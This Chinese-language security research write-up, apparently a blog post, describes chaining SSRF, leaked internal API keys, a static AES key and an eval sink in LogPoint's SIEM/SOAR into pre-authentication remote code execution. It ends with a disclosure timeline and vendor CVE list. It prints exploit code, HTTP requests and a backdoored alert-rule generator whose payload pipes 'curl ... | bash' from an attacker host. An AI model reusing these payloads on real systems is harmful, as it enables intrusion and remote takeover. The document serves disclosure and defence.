Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Allow-Headers: DNT, User-Agent, X-Requested-With, If-Modified-Since, Cache-Control, Content-Type, Range
Access-Control-Expose-Headers: Content-Length, Content-Range
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; child-src 'self' blob:;
    script-src 'self' 'unsafe-inline' 'unsafe-eval';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: blob:;
    report-uri /content_policy_violation;
    font-src 'self' data:;
    worker-src blob:;
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=15768000

[
  {
    "apiKey": "2LRnxYx1BwZrJ5FJRpMrMdEaTwbqaLar8RpnAGi2jxwM1g_nGq-gNTxPCdUNL-t4eCMjqPSwPvNOFQElgAz3nhbUzcHOPC-mwEUHpcj-PRKRFNTLDIC16Ty7EJg",
    "apiSecret": "XzRvV2V0gSBltEjdvwrGSQ=="
  }
]

这确实令人兴奋,但它立刻引出了另一个问题。响应中的这个 apiKey 到底是什么,为什么它看起来与我已经在使用的 JWT 代币 完全不同?再一次,答案显然隐藏在代码之中。

漏洞 3:将权限提升到隐藏的内部 SOAR 用户

顾名思义,/v1/user/auth/apikey 映射到 getAllApiCredentials(),该方法返回存储在 Java 端的 API 凭据。响应是一个数组,但其中只包含一个 apiKey 和一个 apiSecret。

看起来这些凭据属于我的管理员账户,并在 SOAR 服务之间用于内部通信。JWT 让我能够进入系统,但在系统内部,认证机制会切换为这种 API key 模型。

这自然引出了下一个显而易见的问题:既然我现在已经拥有了一个 API key,是否存在一个接受它并告诉我“我是谁”的端点?我复制了新泄露的 apiKey 并发送了如下请求。


GET /soar/sso/v1/user/apikey HTTP/2
Host: 192.168.179.136
Secbi_api_key: 2IBwnxkulBv7I5EJpnMvKdEaIwbqaLsAr8BpAGij2jXmWsD_vv6q-gWTXpCdUNl-t4eCMjqPSwPvNOFqElgAz3nhbUzcHOPC-mwEUHpcj-PRKRFNTLDIC16Ty7EJg
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Accept: application/json

这个真正告诉我“我是谁?”的新端点,和我刚刚使用的那个非常相似。

  • 我们这个新 API 接收 Secbi_api_key 请求头,路径是 sso/v1/user/apikey。
  • 之前使用的那个则接收 secbi_auth_token 请求头,并返回所有 API token,路径是 sso/v1/user/auth/apikey。

是的,我也被搞糊涂了。依赖“安全性来自模糊性”几乎奏效了。几乎。
但真正的惊喜在响应本身。返回的 JSON 非常清楚地回答了这个问题。

用户名是 secbi。


HTTP/2 200 OK
Server: nginx
Date: Tue, 18 Jun 2024 11:24:34 GMT
... OMITTED HEADERS ...
Strict-Transport-Security: max-age=15768000

{
  "username": "secbi",
  "password": null,
  "role": 0,
  "tokenStrategy": null
}

事实证明,这根本不是一个普通用户。secbi 是一个内部的、拥有最高权限的 SOAR 账户,随安装一起内置,仅用于微服务之间的通信。

通过将这 3 个漏洞进行链式利用,我们可以攻击 Logpoint 的 Java 微服务组件中的每一个端点!

关键思考:接下来该往哪走?

在 Java 微服务中链式利用这些问题显然扩大了攻击面,但它也有上限。即便在那边实现了完全攻陷,我也仍然是在一个容器内部。这并非最终目标。

于是我转移了焦点。现有的任何 token 或 API key 都无法用于运行在操作系统本身上的 Python 后端,但这反而引出了一个更有趣的问题:如果我能在这条链中再加入更多漏洞,从而让我能够直接在 Python 侧发起一个管理员会话,会怎么样?

这才是真正的乐趣开始之处。

漏洞 4:Server-Side Request Forgery 导致 LogPoint Python Backend 上的 Authentication 绕过

当我在翻阅笔记、思考还需要往这条链中加入什么类型的“漏洞”时,我看到了下面这条日志!


LOGPOINT API call:
Method: GET
URL: http://127.0.0.1:18000/User/preference
cookie: class Cookie {
  key: session
  value: INVALIDCOOKIE
}

这立刻让我想起了那个只在设备内部可访问、监听在 localhost:18000 上的 服务。直到那时,我从未费心去阅读那部分 Code,因为根本没有理由这么做。

但现在不同了。如果那里存在可被利用的点,我不需要直接访问。我可以回跳到 Java 侧,寻找一个 SSRF 来访问它。而且由于该 请求 将由 localhost 发起,访问控制将完全不起作用。

到那一步,前进的路径就变得非常清晰了。而且我确实找到了一个可以实际利用的东西!


@app.route("/private/user_access_key", methods=["GET"])
def secret_fetch():
    """
    An internal API exposed for inter-application data transmission.
    reads the admin user's access key (secret_key) from the database and sends it to the requester.
    """
    secret_key = None
    admin_user = dict()
    pipelines = [
        {
            "$match": {"active": True},
        },
        {
            "$project": {
                "username": 1,
                "secret_key": 1,
                "usergroup_fk": {
                    "$map": {
                        "input": {
                            "$map": {
                                "input": "$usergroup",
                                "in": {
                                    "$arrayElemAt": [{"$objectToArray": "$$this"}, 1]
                                },
                            }
                        },
                        "in": "$$this.v"}},
            }
        },
        {
            "$lookup": {
                "from": "usergroup",
                "localField": "usergroup_fk",
                "foreignField": "_id",
                "as": "usergrps"
            }
        },
        {"$unwind": '$usergrps'},
        {'$match':
         {'usergrps.lpadmin': True}},

    ]

    admin_user = dboperation.aggregation_pipe('user', pipelines)

    if admin_user:
        admin_user = admin_user[0]
        secret_key = admin_user.get("secret_key")
    else:
        logging.critical(
            "search api; requested; type=audit_log; msg=active admin user not found; source_address=%s"
            % request.remote_addr
        )
        return jsonify({"success": False, "message": "Active admin user not found."})

    return jsonify({"success": bool(secret_key),
                       "username": admin_user.get('username', None), "secret_key": secret_key})

上述端点只是返回了 admin 用户的 secret_key!但慢着,我现在有了更多的问题。


root@logpoint:~ curl http://127.0.0.1:18000/private/user_access_key
{
  "secret_key": "9930cb348f02c7114f7f1206fa964595",
  "success": true,
  "username": "admin"
}

这个内部 API 作为 Java SOAR 服务与遗留的 Python 后端之间的桥梁而存在,使它们在向较老的核心平台添加新的 Docker 基于功能时能够相互通信。从攻击者的角度来看,这是一个完美的 SSRF 目标。但它并不是一个普通的公共端点。只有一小部分内部 API 会接受 secrets 并返回数据,所有这些都是严格为微服务使用而设计的。

我该如何利用这个 key 在 Python 侧发起新的 会话 cookie?

进一步阅读 Python 代码库后,我在 /initapp 端点发现了一段有趣的 if-else 语句。只需发送一个包含有效用户名和 secret_key 的简单 HTTP POST 请求,就足以初始化一个有效的 会话 并获取一个 COOKIE。


def initiate_admin_session(lp_user_dict):
    global TARGET, cookies

    print("[+] Going to abuse /initapp on LogPoint-SIEM Backend to assign our user to the session..!")

    payload = {
        'user': 'admin',
        'secret': "9930cb348f02c7114f7f1206fa964595',
        'CSRFToken': 'undefined'
    }

    r = requests.post(TARGET + '/initapp',data=payload, verify=False)
    if r.cookies:
        print("[+] Successfully initiated the admin session ournew cookie : " + str(r.cookies))
        cookies = r.cookies
    else:
        print("[-] Awkward..! Could not initiate the admin session")
        print(r.text)
        exit(1)

我已经准备好在 Java 层里猎杀一个 SSRF!这是我对这个容器化的 LogPoint 微服务进行的最终排查。

到目前为止,我仍然在一个容器内部。那道边界即将消失。

ConfigTest SSRF 的根因分析

通过简单的 IDE 搜索就能相当轻松地找到合适的候选点,并知道该在代码库的哪里下手。我也会使用 Semgrep 来加快进度,不过这一过程的细节在这里并不重要。

当一个请求被发送到 /soar/api/v1/soar-sources/config/test/run 时,它会被路由到一个名为 api-service 的内部 Docker 容器。控制器方法的实现在 api/soar/sources/SoarSourcesApi.java 。


@Override
public ResponseEntity<ActionResult> testSourceConfig(
    @ApiParam(value = "a full source with additional params", required = true)
    @Valid @RequestBody final SourceConfigTestContext sourceConfigTestContext
) {

    final SourceConfig sourceConfig = sourceConfigTestContext.getSourceConfig();

    final long timeIntervalMinutes = sourceConfigTestContext.getTimeIntervalMinutes();

    final PullResultContext result = this.pullerTestExecutor.pullTest(
            sourceConfig,
            timeIntervalMinutes
        );

    final ActionResult actionResult = new ActionResult();
    actionResult.setId(sourceConfig.getUuid());
    actionResult.setName(sourceConfig.getSourceName());
    actionResult.setStatusCode(
        String.valueOf(result.getStatusCode())
    );

    ActionUtils.populateActionResultHttpRequestResponseStr(
        actionResult,
        result.getHttpRequest(),
        result.getResponse(),
        result.getRawResponseBody()
    );

    actionResult.setRawResponse(result.getRawErrorResponse());

    return (ResponseEntity<ActionResult>)
        new ResponseEntity(
            (Object) actionResult,
            HttpStatus.OK
        );
}

以上代码非常直观。请求的 JSON body 被发送到 pullTest()


public PullResultContext pullTest(SourceConfig sourceConfig, Long timeIntervalMinutes) {
    PullResultContext pullResultContext;
    try {
        SourceConfig encryptSourceConfig =
            DispatcherCommonUtils.encryptExecutionParameters(this.incidentsSourceDao, sourceConfig);
        Puller puller = PullerFactory.get(this.configuration, encryptSourceConfig);
        puller.init();

        long nowSeconds = Instant.now().getEpochSecond();
        long slidingWindowSeconds = TimeUnit.MINUTES.toSeconds(timeIntervalMinutes);
        long startNewLogPullTimeSeconds = nowSeconds - slidingWindowSeconds;

        pullResultContext = puller.execute(
            encryptSourceConfig,
            startNewLogPullTimeSeconds,
            nowSeconds,
            encryptSourceConfig.getTzCode()
        );
    } catch (Exception e) {
        pullResultContext = new PullResultContext();
        pullResultContext.setStatusCode(500);
        Throwable cause = e.getCause();
        pullResultContext.setRawErrorResponse(
            cause != null ? cause.toString() : e.getMessage()
        );
    }
    return pullResultContext;
}

当我查看 sourceConfig 类以理解 JSON 数据结构时,因为它是从控制器方法中的 HTTP 请求体填充的,我甚至完全不需要去阅读 puller.execute()。


{
  "sourceConfig": {
    "uuid": "a22aa4d1-2df2-4b8a-9aba-cf5087bc01d9",
    "description": "Local Logpoint-SIEM instance",
    "enabled": true,
    "executionParams": {
      "logpointSiemMachineIp": "xrsbfpeerdfulurvi24lssvvm2dq4nsc.oastify.com:80/?asd=",
      "logpointPrivateApiSchema": "http",
      "logpointPrivateApiPort": "80",
      "logpointIncidentsApiPath": "/incidents",
      "enforceCredentialsFromFile": false,
      "logpointPullIncidentsUserName": "",
      "logpointPullIncidentsAccessKey": ""
    },
    "filters": null,
    "idFieldName": "incident_id",
    "sourceType": "LOGPOINT",
    "tzCode": "UTC",
    "sourceName": "Logpoint-SIEM"
  },
  "timeIntervalMinutes": 1
}

该实现只是简单地拼接了 scheme、机器 IP、端口和路径,对这些字段均未进行任何校验。通过在 logpointSiemMachineIp 上追加一个查询字符串,后面的所有内容(包括路径和端口)都会被当作查询的一部分。

这彻底改变了一切。有了这个,我可以强制应用程序向我选择的任何 URL 发起一个 GET 请求。

额外提示:我在末尾追加 ?asd=,因为 runner 往往会把额外的路径/端口片段拼接到我们的输入/host 后面。通过提前开启查询字符串,它之后附加的任何内容都会被当作查询参数的一部分,而不是真正的 host/path。

唯一缺失的部分是第一个参数所需的有效 uuid,而事实证明,可以很容易地直接从 /soar/api/v1/soar-sources/config 端点本身获取!

4 个漏洞的利用链回顾

现在只剩下一件事要做了:在 Python 后端中找到一个代码执行漏洞。而事实证明,这又开启了另一个等待探索的兔子洞。

漏洞 5 – Python 后端中的已认证代码执行漏洞

到这一步,任务出奇地简单。我不再需要阅读整个代码库,而是缩小关注范围,开始寻找 sink——那些使用了潜在危险函数的地方,在那里一个小错误就可能演变成更严重的问题。

我发现了下面这段代码,它已经表明这与规则引擎有关。但由于这些操作符全都是比较运算符,这些 left 和 right 参数在到达这里之前不可能经过验证,对吧?


class _Condition:

    @classmethod
    def evaluate(cls, left, right, operator):
        if operator in ('<', '>', '<=', '>=', '==', '!='):
            return eval(str(left) + str(operator) + str(right))

接下来我只需要查找这个 _Contion 类的所有引用,就能确认这些 left 或 right 可以是除了整数以外的任何内容。然后从我们的 sink 反向回溯,追踪到源头。

这个函数只在一个地方被调用,也就是 _Alert.is_triggered()。正是在这里,这个看似很小的错误成就了我的一天!


def is_triggered(self, rows_count, alert_id, field, field_values, time_range, throttling_enabled):
    """
    Evaluates whether the trigger condition has been reached for the alert.
    Returns True if condition has been met.
    """
    alert_triggered = _Condition.evaluate(rows_count, self.get("trigger_value"), self.get("condition"))
    if alert_triggered is None:
        logging.warning("alerting; condition unknown; alert_name=%s; condition=%s;", self.get("alert_name"), self.get("condition"))
    if alert_triggered is True:
        if throttling_enabled is True:
            should_throttle = self.should_throttle_alert(alert_id, field, field_values, time_range)
            alert_triggered = False if should_throttle else True
    return alert_triggered

如你所记得的那样,我只能将我的 payload 放入 evaluate() 的第一个或第二个参数中。第二个参数正是这个微小但至关重要的错误发生的地方。self.get("trigger_value") 并没有经过校验,而是直接从对象的属性中取值。

有趣之处在于,_Alert 已经有一个专门为此目的设计的方法。该方法会正确地将该值强制转换为整数 。但这个方法在这里却从未被使用!这个值是直接从 getter 中取出,并原样传递下去的。


def get_trigger_value(self): # Note: THIS FUNCTION IS NEVER USED mdisec
    """
    Returns alert trigger value
    """
    try:
        trigger_value = int(self.get("trigger_value"))
    except ValueError:
        trigger_value = None
        logging.info("alerting; invalid trigger value; integer expected; got trigger_value=%s", self.get("trigger_value"))

让我们继续追踪调用链。is_triggered 函数只在一个地方被调用。它位于 AlertAnalyzer 类中,该类的代码长度超过 300 行。为了把重点放在关键内容上,我省略了其余部分,只展示与该行为相关的代码行。


class AlertAnalyzer:

    # ... OMITTED CODE ...

    def analyze(self, answer):
        search_id = answer.get("orig_search_id")
        alerts_list = self.search_alert_map.get_alert_list(search_id)
        
       # ... OMITTED CODE ...
        rows_count = len(answer.get("rows"))
        
        for alert_id in alerts_list:
            alert = self.alerts.get(alert_id)
            # ... OMITTED CODE ...

            if alert.is_triggered(rows_count, alert_id, field, field_values, time_range,throttling_enabled):
                
                # ... OMITTED CODE ...

制胜条件终于清晰了。如果我能在数据库中保存一个我自己的告警,并在 trigger_value 字段中嵌入一个 payload,我就可以通过一个刻意设计得非常通用的查询来启用这条规则,使其始终能够匹配。引擎在评估该条件的那一刻,也会同时执行我的 payload。就在这一刻,它不再只是理论,而是真正变成了远程代码执行。

问题不在于是否可以创建一条规则。

真正的问题在于这次校验是否会拦住它,还是我能再次走运?

漏洞 6 —— 利用 AES 静态密钥导入加密的 PAK 文件以绕过整数校验

下面的 UI 截图展示了如何创建一条告警规则,不幸的是,我们没能连续两次走运。条件值是会被校验的,它期望我传入一个整数。因此,我实际上根本无法将我的 payload 植入到这条规则中!

就在那一刻,我意识到自己陷入了隧道视野。我已经一头扎进了兔子洞,在同一个方向上推进了太久。现在感觉正是该退一步、停止强行推进,并去别的地方寻找危险的时候了。

我开始关闭浏览器标签页。就在我快要结束的时候,我注意到了它。

我几乎错过了它。

一个静静待在那里的按钮。 导出规则。 按钮。

我导出了这个规则,立刻注意到了一些有意思的地方。它的内容是加密的。当我将它重新导入 LogPoint 时,它会被解密,并且完全按照预期写入数据库。

就在这时,一个熟悉的模式突然浮现。加密常常制造出一种信任的幻觉。一旦数据被加密,工程师往往就假定它是安全且未被篡改的,因此跳过了之前本应进行的校验步骤。如果系统信任解密后的所有内容,那么真正的挑战就不再是校验本身。

我所需要做的只是理解这种加密方式是如何工作的,并修改规则。仔细查看实现后,一个关键细节显现出来:在告警导出过程中使用的 AES 密钥是静态的。

告警规则解密器

下面这个脚本中与密码学相关的大部分代码,都是直接取自原始代码库。


FORMAT_PREFIX = b'v2:'
WEB_DELIVERY_IP = "172.28.150.242"  # TODO: CHANGE THIS WITH YOUR IP WHERE YOU LISTEN FOR THE REVERSE SHELL
FLASK_APP_ENCRYPTION_KEY = 'ImmUnEsEcUrIty'
ENC_KEY = hashlib.md5(FLASK_APP_ENCRYPTION_KEY.encode("utf-8")).hexdigest()
CHECKSUM_LEN = 16

CHECKSUM_LEN = 16
FORMAT_PREFIX = b'v2:'

def decrypt_data(enc_data):
    """
    decrypts data encrypted by AES
    """
    IV = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    try:
        if not enc_data.startswith(FORMAT_PREFIX):
            old_decoder = AES.new(tobytes(ENC_KEY), AES.MODE_ECB, IV)
            return old_decoder.decrypt(enc_data).rstrip(b' ')
        obj = AES.new(tobytes(ENC_KEY), AES.MODE_CFB, IV)
        decrypted = obj.decrypt(enc_data[len(FORMAT_PREFIX):])
        checksum = decrypted[:CHECKSUM_LEN]
        raw_data = decrypted[CHECKSUM_LEN:]
        expected_checksum = hmac.new(tobytes(ENC_KEY), raw_data).digest()
        if checksum != expected_checksum:
            raise ValueError("invalid checksum")
        return tostring(raw_data)
    except ValueError as e:
        try:
            print("webserver import data; error=%s" % e)
            return
        finally:
            e = None
            del e

def encrypt_data(raw_data):
    """encrypts long data
    """
    IV = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    raw_data = tobytes(raw_data)
    checksum = hmac.new(tobytes(ENC_KEY), raw_data).digest()
    assert len(checksum) == CHECKSUM_LEN
    obj = AES.new(tobytes(ENC_KEY), AES.MODE_CFB, IV)
    return FORMAT_PREFIX + obj.encrypt(checksum + raw_data)


def decrypt_pak_alertrule():
    with open('mdisec-generated-backdoored-implanted-rule.pak', 'rb') as f:
        data = f.read()
        # save as alert.json
        with open('alert.json', 'w') as f:
            f.write(decrypt_data(data))

def generate_backdoored_pak_file():
    with open('alert.json', 'r') as f:
        data = f.read()
        # load json and modify the alert rule
        data = json.loads(data)
        data['Alert'][0]['name'] = generate_random_string()
        data['Alert'][0]['settings']['alertrule_id'] = hashlib.md5(generate_random_string().encode()).hexdigest()
        data['Alert'][0]['settings']['condition']['condition_value'] = "eval(\"__import__('os').system('curl {WEB_DELIVERY_IP}:8000 | bash')\")"
        with open('backdoored-implanted-rule.pak', 'wb') as f:
            f.write(encrypt_data(json.dumps(data)))
            # save json as plain text
            with open('backdoored-implanted-rule.json', 'w') as f:
                f.write(json.dumps(data, indent=4))

"""
# pip3 install pycryptodome
"""
decrypt_pak_alertrule()
generate_backdoored_pak_file()

通往 Shell 的最短路径之一是一个简单的 Web 交付载荷。一旦我们的载荷被执行,LogPoint 设备就会运行 curl 命令,从我们的服务器获取第二阶段载荷,并将其通过管道传入 bash!确实有点吵,但这也不是一次红队演练。

我将载荷包裹在 eval() 调用中,因为 _Condition.evaluate() 中的汇点会在变量周围拼接额外的字符串。这种行为很容易导致 Python 语法错误,而这是我希望完全避免的。目标很简单:干净地执行我的代码。在我自己的 eval() 运行之后发生的任何事情都无关紧要。

导入我生成的 backdoored-implanted-rule.pak 文件后,规则已成功导入!现在我需要找到一种方式来触发该规则 🙂

最后一步:如何触发该告警

仅仅导入修改后的告警还不够。我仍然需要一种方法来触发它,并进入存在漏洞的代码路径。

最简单的方法是创建一条规则并将其附加到该告警上。很方便的是,这可以在同一个 PAK 文件中完成。我打开在 alert-pak-file-decrypt.run 步骤中生成的 alert.json 文件,并开始将各个部分串联起来。


"livesearch_data": {
  "generated_by": "alert",
  "searchname": "mdi",
  "description": "",
  "flush_on_trigger": false,
  "query": "\"user_agent\"=\"*Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)*\" \"GET\" robots.txt",
  "repos": [
    "127.0.0.1:5504"
  ],
  "extra_query_filter": "",
  "query_info": {
    "aliases": [],
    "columns": [],
    "fieldsToExtract": [
      "user_agent",
      "msg"
    ],
    "grouping": [],
    "lucene_query": "((user_agent:*Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)* AND GET) AND robots.txt)",
    "query_filter": "\"user_agent\"=\"*Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)*\" \"GET\" robots.txt",
    "query_type": "simple",
    "success": true
  }
}

该规则本身被刻意设计得非常简单。如果存在一个带有 Google 爬虫 User Agent 的 GET 请求访问 robots.txt,该规则就会被触发。

我发送了大约一百个请求以达到阈值。由于该规则会扫描过去 30 天的日志并且每分钟运行一次,我只需稍等片刻,让引擎捕获并执行即可。

(默认情况下,Logpoint 会将其自身的日志写入索引。这意味着我们可以使用 LogPoint 的 HTTP 端口发送这些 robots.txt 请求)

漏洞实战:将 6 个漏洞 + 1 个特性串联起来!预认证远程代码执行

我录制了我的漏洞利用过程


00:00

攻击链回顾

最初只是边缘层的一个路由问题,却一路传导到内部服务、认证逻辑,最终触及 Python 后端、静态 AES 密钥以及 Code Eval 漏洞,从而导致远程代码执行。下图展示了完整的流程。

公开披露时间线

  • 30/05/2024 11:00 BST – LogPoint 产品安全网站指示用户“创建支持工单”,但并不允许我创建支持账户。我找不到任何电子邮件地址或其他渠道来报告该问题,以进行协调的漏洞披露。
  • 30/05/2024 15:01 BST – 我通过 LinkedIn InMail 向 LogPoint 员工发送消息,以确定联系方式。(说真的,这就是我每年还在为 LinkedIn Premium 付费的唯一原因。)
  • 30/05/2024 17:28 BST – 一位 LogPoint 高管迅速回复,我们开始通过电子邮件进行沟通。
  • 30/05/2024 22:18 BST – 同一位高管确认该漏洞披露已在处理中。
  • 10/06/2024 10:04 BST – 我请求了一次状态更新。
  • 10/06/2024 12:03 BST – 供应商确认他们正在积极修复该问题。
  • 20/06/2024 05:20 BST – 供应商提供了更新,表示针对已报告的三个漏洞的修复正在进行中。
  • 20/06/2024 09:28 BST – 发送了一封详细的电子邮件,提出提供预发布补丁分析支持,并介绍了威胁情报和 0-day 研究活动的背景。邮件中明确说明该沟通与销售无关,是在协调漏洞披露的背景下进行的。
  • 16/07/2024 08:38 BST – 供应商确认并感谢了补丁分析的提议,并确认修复工作正在进行中。
  • 22/07/2024 13:03 BST – 我报告了另外 8 个关键漏洞。
  • 24/07/2024 06:45 BST – 供应商确认已收到补充的漏洞报告。
  • 19/08/2024 09:10 BST – 自初次披露以来已过去 80 天。我请求了进展更新。
  • 21/08/2024 09:53 BST – 供应商确认最初报告的漏洞已修复并接近发布,且仅会在正式发布后进行公开披露。
  • 19/09/2024 13:00 BST – 自 3 个漏洞的初次披露以来已过去 112 天,而关于另外 8 个漏洞(其中部分包含预认证 RCE 向量)已有 60 天未提供热修复或实质性更新。因此,我们采取了主动措施,通知受影响的相关组织。
  • 3/10/2024 00:00 CET – LogPoint 在 7.5.0 版本的 Priority Access 发布中发布了补丁。
  • 31/10/2024 11:03 CET – 我注意到 LogPoint 发布了一篇公开博客文章,宣布了该版本的发布。
  • 14/01/2025 16:24 BST – 在 229 天后,我们发布了第一次公开披露,但未公布完整的技术细节。
  • 02/01/2026 – 由于供应商持续缺乏沟通,我得出结论认为重大的架构变更仍在进行中。鉴于该 SIEM/SOAR 安全 产品中漏洞的严重性,我决定将完整技术报告的发布再延迟 365 天。

厂商的官方公告

下表展示了厂商分配的 CVE 编号及其严重性等级。

标题 CVSS 严重性 描述
CVE-2024-56086 7.1 高 报告模板 RCE
CVE-2024-56085 5.9 中 服务器端模板注入 RCE
CVE-2024-48954 6.4 中危 EventHub Collector 操作系统命令注入
CVE-2024-48953 7.5 高危 未认证插件注册
CVE-2024-48950 7.5 高 认证与 CSRF 绕过
CVE-2024-56084 7.1 高 通用规范化器 RCE
CVE-2024-48951 7.5 高 SSRF
CVE-2024-56087 5.9 中等 服务器端模板注入 RCE
CVE-2024-48952 6.4 中等 静态 JWT 密钥
厂商 CVE 与 CVSSv 4.0 评分列表

LogPoint 是一家起源于欧洲、总部位于丹麦哥本哈根的安全平台公司,成立于 2000 年代初期,专注于大规模日志摄取与关联分析。最初作为日志管理解决方案起步,随后演进为统一的 SIEM、SOAR 与 UEBA 平台,旨在支持检测工程、调查工作流程以及在复杂企业环境中的自动化响应。如今,LogPoint 在全球范围内运营,为 1000 多家组织提供服务,这些组织依赖其进行实时威胁检测以及以合规为驱动的安全监控。